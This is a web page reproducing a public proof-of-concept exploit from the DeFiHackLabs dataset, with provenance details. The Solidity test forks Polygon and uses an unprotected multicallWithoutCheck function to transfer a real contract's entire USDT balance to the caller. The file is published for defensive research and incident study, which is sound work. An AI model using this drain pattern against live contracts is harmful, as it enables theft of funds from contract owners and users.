Public reproduction file
src/test/2022-10/MulticallWithoutCheck_exp.sol
Public reproduction file for dataset entry MulticallWithoutCheck.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity 0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// Address https://polygonscan.com/address/0x940ce652a51ebadb5df09d605dbeda95fdcf697b8interface Target {9 struct Call {10 address target;11 bytes callData;12 uint256 value;13 }15 function multicallWithoutCheck(16 Call[] memory calls17 ) external;18}20contract ContractTest is Test {21 struct Call {22 address target;23 bytes callData;24 uint256 value;25 }27 Target target = Target(0x940cE652A51EBadB5dF09d605dBEDA95fDcF697b);28 IERC20 USDT = IERC20(0xc2132D05D31c914a87C6611C10748AEb04B58e8F);29 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);31 function setUp() public {32 cheats.createSelectFork("polygon", 34_743_770);33 }35 function testExploit() public {36 uint256 USDTBlance = USDT.balanceOf(address(target));37 bytes memory data = abi.encodeWithSignature("transfer(address,uint256)", address(this), USDTBlance);38 Target.Call memory inputData = Target.Call({target: address(USDT), callData: data, value: 0});39 Target.Call[] memory calls = new Target.Call[](1);40 calls[0] = inputData;41 target.multicallWithoutCheck(calls);43 emit log_named_decimal_uint("[End] Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 6);44 }45}Analysis
Dataset entry
Public Foundry test for “MulticallWithoutCheck” (2022-10-24). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
23 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-10/ATK_exp.solSame month in the dataset · 97 lines
- src/test/2022-10/BabySwap_exp.solSame month in the dataset · 134 lines
- src/test/2022-10/BEGO_exp.solSame month in the dataset · 70 lines
- src/test/2022-10/Carrot_exp.solSame month in the dataset · 149 lines
- src/test/2022-10/EFLeverVault_exp.solSame month in the dataset · 92 lines
- src/test/2022-10/HEALTH_exp.solSame month in the dataset · 105 lines
- src/test/2022-10/HPAY_exp.solSame month in the dataset · 150 lines
- src/test/2022-10/INUKO_exp.solSame month in the dataset · 327 lines
- src/test/2022-10/Market_exp.solSame month in the dataset · 339 lines
- src/test/2022-10/MEVa47b_exp.solSame month in the dataset · 126 lines
- src/test/2022-10/N00d_exp.solSame month in the dataset · 94 lines
- src/test/2022-10/OlympusDao_exp.solSame month in the dataset · 61 lines
- src/test/2022-10/PLTD_exp.solSame month in the dataset · 67 lines
- src/test/2022-10/RabbyWallet_SwapRouter_exp.solSame month in the dataset · 148 lines
- src/test/2022-10/RES_exp.solSame month in the dataset · 181 lines
- src/test/2022-10/RL_exp.solSame month in the dataset · 128 lines
- src/test/2022-10/TeamFinance_exp.solSame month in the dataset · 274 lines
- src/test/2022-10/Templedao_exp.solSame month in the dataset · 66 lines
- src/test/2022-10/TransitSwap_exp.solSame month in the dataset · 70 lines
- src/test/2022-10/Uerii_exp.solSame month in the dataset · 96 lines
- src/test/2022-10/ULME_exp.solSame month in the dataset · 258 lines
- src/test/2022-10/VTF_exp.solSame month in the dataset · 114 lines
- src/test/2022-10/XaveFinance_exp.solSame month in the dataset · 220 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
File record
- Name
- MulticallWithoutCheck
- Path
- src/test/2022-10/MulticallWithoutCheck_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 48131508d64e7a6ae5bd174f9e02f46c2bcc48fe
- Language
- Solidity
- Size
- 46 lines
- Date
- 2022-10-24
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-10/MulticallWithoutCheck_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 48131508d64e7a6ae5bd174f9e02f46c2bcc48fe, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.